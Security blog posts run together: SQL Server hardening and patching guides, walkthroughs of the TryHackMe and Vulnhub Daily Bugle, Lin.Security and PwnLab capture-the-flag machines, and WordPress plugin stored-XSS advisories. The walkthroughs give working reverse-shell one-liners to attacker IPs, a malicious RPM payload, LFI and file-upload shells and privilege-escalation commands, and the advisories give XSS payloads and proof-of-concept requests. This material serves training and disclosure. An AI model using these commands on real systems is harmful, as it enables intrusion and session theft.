Optimize Your SQL Server Security with Single-Function Member Servers

data codes through eyeglasses

Security is a critical concern for every organization, and when it comes to managing databases, it becomes even more crucial. A central aspect of database security is the architecture of the server where your SQL Server software is installed. In this blog post, we’ll delve into one of the key recommendations from the CIS (Center for Internet Security) benchmark hardening guide: Ensuring Single-Function Member Servers are Used. We will provide detailed explanation and sample commands for manual configuration to enhance the security of your SQL Server environment.

Understanding Single-Function Member Servers for SQL Server

A single-function member server is dedicated solely to running SQL Server software. This setup means the server doesn’t carry out any additional roles. By keeping the server’s function exclusive to SQL Server, several security and performance benefits are gained.

The Benefits of Single-Function Architecture

  1. Enhanced Security: With a server dedicated to one role, there’s a reduced attack surface because you only have to secure the operating system, SQL Server, and necessary security tools – nothing else.
  2. Simplified Management: A dedicated database server is easier to manage and monitor since it’s only concerned with database operations.
  3. Improved Availability: It lays a better foundation for high availability strategies like failover systems and load balancing, because the server is not bogged down with extraneous tasks.
  4. Network Flexibility: The database server can be placed on a separate subnet, allowing controlled access from specific hosts and protocols.

Rationale and Impact

Dedicating a server to SQL Server simplifies the task of managing your server’s attack surface. The impact of this architectural change is overwhelmingly positive, aside from the cost of additional hardware and potential application modifications to enable remote database connections using TCP/IP.

Audit: Ensuring Compliance

To verify that your server complies with the guidance of using single-function member servers, there are some key aspects to review:

  • Confirm that no other server roles are enabled. On Windows Server, for example, you can use the Server Manager or PowerShell to check the installed roles and features:Get-WindowsFeature | where Installed
  • Check that only the essential tooling for SQL Server operation and security is installed. Any superfluous software increases the risk and should be removed.

Remediation: Configuration and Secure Setup

If you find that your SQL Server is running on a multi-role server or is hosting non-essential applications, follow these steps for remediation:

  1. Uninstall Any Excess Software: Remove any non-essential applications or services that could introduce vulnerabilities.
  2. Remove Unnecessary Server Roles: If you’re using a Windows Server, use the Remove-WindowsFeature cmdlet to eliminate unwanted roles;

For example, to remove the Web Server role, use:

Remove-WindowsFeature Web-Server
  1. Server Reconfiguration: If the server is heavily intertwined with other roles or services, it might be necessary to perform a clean installation, ensuring that only SQL Server and the required operating system components are installed.
  2. Adjust Applications: Alter custom applications to communicate with the database server over the network using secure protocols like TCP/IP.
  3. Licensing Considerations: Ensure that you have the appropriate operating system and SQL Server licenses for this single-purpose server.

By following these guidelines, you create a more secure architecture for your SQL Server installation, reducing the potential for security breaches and increasing the resilience of your database system. Although adapting to this architecture requires an initial investment, the long-term benefits to your security posture and server management are substantial.

In conclusion, adhering to the CIS benchmark recommendations, such as ensuring single-function member servers for SQL Server, can dramatically improve your organization’s database security. Regular audits, prompt remediation, and a dedicated approach to managing your SQL Server’s environment will keep your data secure and readily available when you need it most. Always consult with your IT security and database management teams or experts before making significant changes to your infrastructure to ensure business continuity and compliance with your company’s policies.

How to Ensure Your SQL Server is Updated with the Latest Cumulative and Security Patches

close up photo of programming of codes

Keeping your SQL Server database updated with the latest cumulative and security patches is critical for maintaining a secure and stable environment. In this detailed guide, we’ll explain how to check your SQL Server’s patch level and ensure it has the most recent updates installed, along with sample commands to aid you through the process.

Understanding SQL Server Updates

SQL Server updates come in two forms: security updates and cumulative updates. Security updates address specific vulnerabilities, while cumulative updates are collections of updates that often include enhancements and fixes from previous updates along with any new patches. Applying these updates is crucial to protect your SQL Server from known threats and ensure it runs optimally.

Why Updates Matter

The rationale for keeping SQL Server up-to-date is clear: to minimize the risk of vulnerabilities that can be exploited by malicious parties. By staying current with patches, you enhance the security of your data and ensure the integrity of your database operations.

Checking Your Current Patch Level

Before applying any updates, you need to understand what is currently installed on your SQL Server. To check the patch level, use the following T-SQL command:


SELECT SERVERPROPERTY('ProductLevel') as SP_installed, 
       SERVERPROPERTY('ProductVersion') as Version,
       SERVERPROPERTY('ProductUpdateLevel') as 'ProductUpdate_Level', 
       SERVERPROPERTY('ProductUpdateReference') as 'KB_Number';

Running this command in your SQL Server Management Studio (SSMS) will return information about the service pack installed, the version number, the product update level, and the knowledge base (KB) number associated with the last update.

Finding the Latest Updates

Once you have determined your current patch level, the next step is to find the latest updates for your version of SQL Server. You can visit Microsoft’s official page to download the most recent cumulative and security updates:

SQL Server Latest Updates

Keep in mind that Microsoft has discontinued the release of service packs for SQL Server, so cumulative updates will be your primary resource for new patches.

Testing Before Updating Production

It is crucial to test all patches in your test environment before applying them to your production environment. This helps to ensure that the new updates do not negatively affect your current setup or applications relying on the database.

Installing Updates

Once you have downloaded the necessary updates and tested them, you can proceed to install them on your production SQL Server instances. Follow the instructions provided by the update package, but generally, the installation process involves executing the update setup and following the prompts provided by the installation wizard.

Automated Update Approaches

While manual updates allow for controlled deployments, you can also consider using Windows Server Update Services (WSUS) or SQL Server’s built-in update feature to manage your updates automatically. These tools can help streamline the update process, though it’s still recommended to have a practice of testing updates in a non-production environment first.

Common Challenges During SQL Server Update Process

Updating SQL Server can sometimes be a complex process, potentially leading to several challenges. Here’s how to tackle some of the most common issues:

Compatibility Issues With Applications

Before applying any updates, it’s important to verify that your applications are compatible with the new SQL Server versions and updates. Review application documentation and consult with vendors to ensure compatibility.

Update Failures

Updates can fail for numerous reasons, such as insufficient permissions, disk space issues, or other system conflicts. Check the update logs for error messages and consult Microsoft’s knowledge base for solutions.

Performance Degradation

Sometimes, an update might adversely affect system performance. Monitor your server’s performance metrics closely after applying an update, and consider rolling back if necessary.

Downtime

Updating your SQL Server will often require system downtime. Plan your updates during off-peak hours and inform stakeholders in advance to minimize the impact.

Troubleshooting Update Issues

When you encounter issues during an update, consider the following troubleshooting steps:

  1. Review Error Logs: SQL Server generates detailed error logs that can provide information on what went wrong during the update.
  2. System Requirements: Ensure your server meets the system requirements for the updates. Check disk space, memory, CPU, and other relevant aspects.
  3. Update Rollback: If a recent update causes problems, you may need to rollback to a previous state. Ensure you have backups before applying updates.
  4. Consult the Community: SQL Server has a strong community. Platforms like Stack Overflow or Microsoft’s own forums may already have solutions for your specific problem.

Conclusion

Maintaining an updated SQL Server instance is a key aspect of database administration. Regularly applying the latest cumulative and security patches ensures you mitigate vulnerabilities and optimize the performance of your SQL Server. Always ensure to audit your current version, identify and download the relevant updates, and test before deploying to production environments.

Additional References:

  1. Download and Install Latest Updates for SQL Server
  2. SQL Server Service Packs Discontinued

By following the steps outlined in this guide, you can ensure that your database remains secure, up-to-date, and compliant with your organization’s operational requirements.

Daily Bugle – TryHackMe Machine Writeup

Today, we will root the Daily Bugle Machine from TryHackMe.

After deploying the machine, We are greeted with the first question.

Access the Server, Who robbed the bank?

Pretty straight-forward.

Answer is there.

The next question says, the CMS is Joomla. We need to find the version.

Upon a Google search, I ended up here.

So, we can read the version by visiting

http://10.10.249.33/administrator/manifests/files/joomla.xml

We got the version too.

This version of Joomla has an SQL injection vulnerability. Lets look up.

https://www.exploit-db.com/exploits/42033

We can try with SQL Map, But a simpler pyhon script is available.

https://github.com/XiphosResearch/exploits/tree/master/Joomblah

Lets run this on our target.

kali@kali:~/ex$ python joomblah.py http://10.10.249.33

We got the admin password hashes!

Lets crack this with John.

root@kali:/home/kali/ex# john -w=/usr/share/wordlists/rockyou.txt jonah.txt -form=bcrypt

It took 40 minutes to get the hash cracked in my VM.

Lets login now.

http://10.10.249.33/administrator/

With the password we just found.

Once We are inside, Go to templates > Templates and click on name of the active template.

Select the Index.php file and paste the reverse shell php script. Download the file from here and update with our IP.

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Now listen from our machine port 4444 and load the main page of the site.

kali@kali:~/ex$ nc -nlvp 4444
listening on [any] 4444 ...

We got a reverse shell!

Let’s find the user flag now. First find the users.

sh-4.2$ cat /etc/passwd

Lets have a look at jjameson’s home directory.

But we dont have the permission for that.

Lets find some other way.

Have a look at /var/www/html/configuration.php file.

Lets try this password for the user.

bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu

[jjameson@dailybugle html]$ 

Success!

The user can run yum without password on the machine.

We can read the user flag now.

We can install any package with yum as root user. Have a look at the following page.

https://gtfobins.github.io/gtfobins/yum/

Let us create a specially crafted RPM package and install in the target.

Lets follow this guide for the process.

https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

root@kali:/home/kali/ex# git clone https://github.com/jordansissel/fpm
root@kali:/home/kali/ex/fpm# gem install fpm
root@kali:/home/kali/ex/fpm# apt-get install rpm

Now create a file named root.sh for reverse shell.

#! /bin/bash
bash -i >& /dev/tcp/10.9.42.115/9999 0>&1

Now create the RPM Package.

root@kali:/home/kali/ex# fpm -n root -s dir -t rpm -a all --before-install root.sh /home/kali/ex

Now, Lets transfer the file to the target machine and install the package.

root@kali:/home/kali/ex# python -m SimpleHTTPServer 222

and in the target,

[jjameson@dailybugle ~]$ wget http://10.9.42.115:222/root-1.0-1.noarch.rpm

Listen for a connection at port 9999 in our attacker machine.

root@kali:/home/kali/ex# nc -nlvp 9999
listening on [any] 9999 ...

and install the package in the target.

[jjameson@dailybugle ~]$ sudo yum localinstall -y root-1.0-1.noarch.rpm

We got the root shell!

Lets read the root flag now.

Done!!

Stored XSS Vulnerability in WordPress Click to top Plugin

The WordPress Click to top Plugin version 1.2.7 and below were found to be vulnerable to an authenticated stored XSS vulnerability while I was auditing the plugin.

Summary

The Click to top WordPress Plugin is used to include scroll to top feature in a WordPress blog. It was found to be vulnerable toa stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The Type scroll text field in the plugin settings page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads any page on the website. All WordPress websites using Click to top WordPress Plugin version 1.2.7 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the Type scroll text field.

Click To Top</script><script>alert(document.cookie)</script>

This vulnerability can be exploited by attckers to steal session cookies or execute any malicious javascript when a user visits the page.

Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=click-to-top.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cb1aafc968a6212fc1ceba7657727836762d457f9b3fc1ac5d8f957c2aa46c16e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cf7f732afdad727391089966b6f76603baec4a9f086a16fa81bc56fe71dfd59ef; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597574177
Connection: close

option_page=click_top_style&action=update&_wpnonce=2502676c1e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dclick-to-top.php&click_top_style%5Bbtn_style%5D=square&click_top_style%5Bhover_affect%5D=bubble-top&click_top_style%5Bbtn_type%5D=text&click_top_style%5Bselect_icon%5D=angle-double-up&click_top_style%5Bbtn_text%5D=Click+To+Top%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&click_top_style%5Bbg_color%5D=%23cccccc&click_top_style%5Bicon_color%5D=%23000000&click_top_style%5Bbg_hover_color%5D=%23555555&click_top_style%5Bhover_color%5D=%23ffffff&click_top_style%5Bscroll_opacity%5D=99&click_top_style%5Bscroll_padding%5D=5&click_top_style%5Bfont_size%5D=16&submit=Save+Changes

Recommendation

All user inputs should be sanitized before usage.

Lin.Security: 1 Vulnhub Machine Walkthrough

Today, We will root Lin.Security:1 Machine from Vulnhub. This is a simple and straight forward boot2root machine.

Lets start by finding the IP.

root@kali:~# nmap -sS 192.168.18.0/24

Got the IP and open ports.

NFS is running on port 2019. Lets enumerate it.

root@kali:~# nmap -sV --script=nfs-* 192.168.18.102

We can mount /home/peter to our machine.

root@kali:/mnt# mkdir lin
root@kali:/mnt# mount 192.168.18.102:/home/peter /mnt/lin
root@kali:/mnt# ls -la

In order to login to the machine, we can place our ssh public key in .ssh directory

(refer this article to learn how to create an ssh key)

Copy our public key (id_rsa.pub) to /tmp directory.

root@kali:/mnt# cd /root/.ssh
root@kali:~/.ssh# ls -la
total 20
drw-------  2 root root 4096 Jul  2 07:25 .
drwx------ 35 root root 4096 Aug 17 07:17 ..
-rw-------  1 root root 2590 Aug 12 08:35 id_rsa
-rw-r--r--  1 root root  563 Aug 12 08:35 id_rsa.pub
-rw-r--r--  1 root root 3322 Aug 13 06:47 known_hosts
root@kali:~/.ssh# cp id_rsa.pub /tmp

make a directory named .ssh in the directory we just mounted.

root@kali:/mnt/lin# mkdir .ssh
mkdir: cannot create directory ‘.ssh’: Permission denied

We dont have the permission to create the directory.

Lets create a user with uid 1001 to do this.

root@kali:~# useradd -u 1001 peter

Now change the ownwership of /tmp/id_rsa.pub to peter

root@kali:~/.ssh# cd /tmp
root@kali:/tmp# chown peter:peter id_rsa.pub
root@kali:/tmp# 

Lets copy the file to the mounted directory now. First lets change the user to peter and copy the file.

root@kali:/mnt/lin# su peter
$ whoami
peter
$ mkdir .ssh
$ cd .ssh
$ cp /tmp/id_rsa.pub authorized_keys

We have copied our public key file to /tmp/.ssh/authorized_keys

Now, Let’s try to login as peter through ssh.

root@kali:~# cd .ssh
root@kali:~/.ssh# ssh [email protected]

We are now logged in as peter. Lets see what all we can do here as a privileged user.

peter@linsecurity:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on linsecurity:
    (ALL) NOPASSWD: /usr/bin/strace

We can run /usr/bin/strace as root.

Can we escalate our privileges with this?

GTFOBins says yes!

Lets try.

peter@linsecurity:~$ sudo strace -o /dev/null /bin/sh
# whoami
root

We got the root!

This was a comparitively easier machine. Lets root another machine next day!

PwnLab: init, Vulnhub Machine Walkthrough

Lets root Pwnlab: init Machine from Vulnhub today.

Start by finding out the IP through nmap.

nmap -sn 192.168.18.0/24

We have the IP now, 192.168.18.100

Time for a deeper scan.

nmap -p- -A -T5 -sV -O --script vuln  192.168.18.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-16 08:35 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.18.100
Host is up (0.00097s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /login.php: 
|     PHPSESSID: 
|_      httponly flag not set
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.18.100
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.18.100:80/?page=login
|     Form id: user
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /login.php: Possible admin folder
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.0.1
|_http-server-header: Apache/2.4.10 (Debian)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.10: 
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-2161   5.0     https://vulners.com/cve/CVE-2016-2161
|       CVE-2016-0736   5.0     https://vulners.com/cve/CVE-2016-0736
|       CVE-2014-3583   5.0     https://vulners.com/cve/CVE-2014-3583
|       CVE-2020-11985  4.3     https://vulners.com/cve/CVE-2020-11985
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2015-3185   4.3     https://vulners.com/cve/CVE-2015-3185
|       CVE-2014-8109   4.3     https://vulners.com/cve/CVE-2014-8109
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38626/tcp   status
|   100024  1          39233/udp6  status
|   100024  1          52116/udp   status
|_  100024  1          57067/tcp6  status
3306/tcp  open  mysql   MySQL (blocked - too many connection errors)
38626/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:CF:29:7D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.97 ms 192.168.18.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 372.01 seconds

We have a website running on the server. Lets have a look.

A login Page, Lets try SQL Injection.

Unfortunately it didn’t work. But, Have a look at the login page URL.

http://192.168.18.100/?page=login

Is there an LFI?

I tried but could’nt find any. Then I came across this article.

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

Lets try this on config.php.

http://192.168.18.100/?page=php://filter/convert.base64-encode/resource=config

We got something in base64.

Lets decode this with https://www.base64decode.org/

Now we have the credentials to login to the MySQL server.

Lets try to login.

mysql -u root -h 192.168.56.101 -pH4u%QJ_H99

I got an error at first, but fixed the issue with a reboot of the VM.

Lets read the data now.

show databases;

Lets find the tables and the data inside them.

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.001 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.005 sec)

Here, we have 3 users. Looks like the password is base64 encoded. Lets decode kent’s password.

It is JWzXuBJJNy.

Lets login as kent.

Lets try to upload a php shell.

Lets try to send this as jpg with Burp.

Change the filename to photo.gif, content type to image/gif and add GIF87a in the first line.

We can find our file location in response filed in Burp.

Our file is uploaded, but we cant read the file. But read the index.php through the above method.

Here, a ‘lang‘ cookie is added to load ‘en.lang.php‘ file.

Lets try changing the value to something else.

Go to Firefox Preferences > Web Developer > Storage. Add + button at the top right to add a cookie.

Cookie name: lang and value: ../upload/3f0d7f3bc6046d5eb636569c8a24ab31.gif

and now.

We got the file included.

Now lets open a reverse shell with netcat. Enter this command in the page.

nc -nv 192.168.18.99 4444 -e /bin/bash

We got a connection.

Now, We have the passwords for three users. Lets examine their home directories.

Nothing special here.

Mike’s password doesnt work. Letr try kane.

There is a file owned by mike. Lets open.

Ah! Couldnt read. What kind of file this is?

Executable. Lets try running.

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

This executable tries to read msg.txt from mike’s home directory. Means the executable cat have access to mike’s home directory and we don’t have. Right?

What about changing the PATH variable and running /bin/bash with the same privileges as cat? Let’s try.

kane@pwnlab:~$ echo "/bin/bash" > /tmp/cat
echo "/bin/bash" > /tmp/cat
kane@pwnlab:~$ chmod +x /tmp/cat
chmod +x /tmp/cat
kane@pwnlab:~$ PATH=/tmp:$PATH
PATH=/tmp:$PATH

Now let’s run the executable file.

We are mike now!

Lets have a look at mike’s home directory.

There’s a file called msg2root.

We are sending a message to root. So as the previous file, an executable have access to root folder too.

Lets try another method.

We are root.

Lets read the flag now. Before that we need to copy the real cat file to our /tmp/cat.

Cheers!

Multiple Stored XSS Vulnerabilities in Change WordPress Login Logo Plugin

The Change WordPress Login Logo Plugin version 1.1.4 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.

Summary

Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The height, and width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the height or width fields.

100}</style><script>alert(0)</script>

This vulnerability can be exploited by attckers to steal session cookies or execute any malicious javascript when a user visits the page.

Proof of Concept

POST /w/wp-admin/options.php HTTP/1.1
Host: 95.217.19.38
Content-Length: 353
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://95.217.19.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=change-login-logo
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F95.217.19.38%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes

Recommendation

All user inputs should be sanitized before usage.

Multiple Stored XSS Vulnerabilities in WoprPress Elegant Testimonial Plugin

WordPress WP Elegant Testimonial Plugin version 1.1.6 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.

Summary

WordPress WP Elegant Testimonial Plugin is used to insert testimonials into a WordPress site directly from the post editor. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The name, company and text fields used while adding a testimonial to a page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using WP Elegant Testimonial Plugin version 1.1.6 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_elegant_testimonial name="<script>alert(0)</script>" company="<script>alert(0)</script>" text="<script>alert(0)</script>" image="https://example.com/example.jpg"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation.

Proof of Concept

POST /w/wp-json/wp/v2/posts/277?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 197
Accept: application/json, */*;q=0.1
X-WP-Nonce: b5b10297e1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=277&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":277,"content":"[wp_elegant_testimonial name=\"<script>alert(0)</script>\" company=\"<script>alert(0)</script>\" text=\"<script>alert(0)</script>\" image=\"https://example.com/example.jpg\"]"}

Recommendation

All user inputs should be sanitized before publishing the post.

Stored XSS Vulnerability in WordPress Fancybox Lightbox Plugin

WordPress Fancybox Lightbox Plugin version 1.0.1 and below were found to be vulnerable to stored XSS while I was auditing the plugin.

Summary

WordPress Fancybox Lightbox plugin is used to add a lightbox functionality while embedding Image, Video or HTML page to your WordPress site. It was found to be vulnerable to Stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.

Vulnerability

The ‘hyperlink’ field in used while linking a remote resource (Image, Video or web page) from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using Fancybox Lightbox version 1.0.1 and below are affected.

The image below shows our javascript is being executed when the following string is inserted into the post.

[wp_fancybox_media url="http://example.com/wp-content/uploads/image/lightbox.jpg" type="image" hyperlink="<script>alert(0)</script>"]

This vulnerability can be exploited by attckers to steal session cookies of any users, including the admins the website. A less privileged user can exploit this vulnerability to steal the administrator’s cookies for privilege escalation.

Proof of Concept

POST /w/wp-json/wp/v2/posts/213?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 162
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=213&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
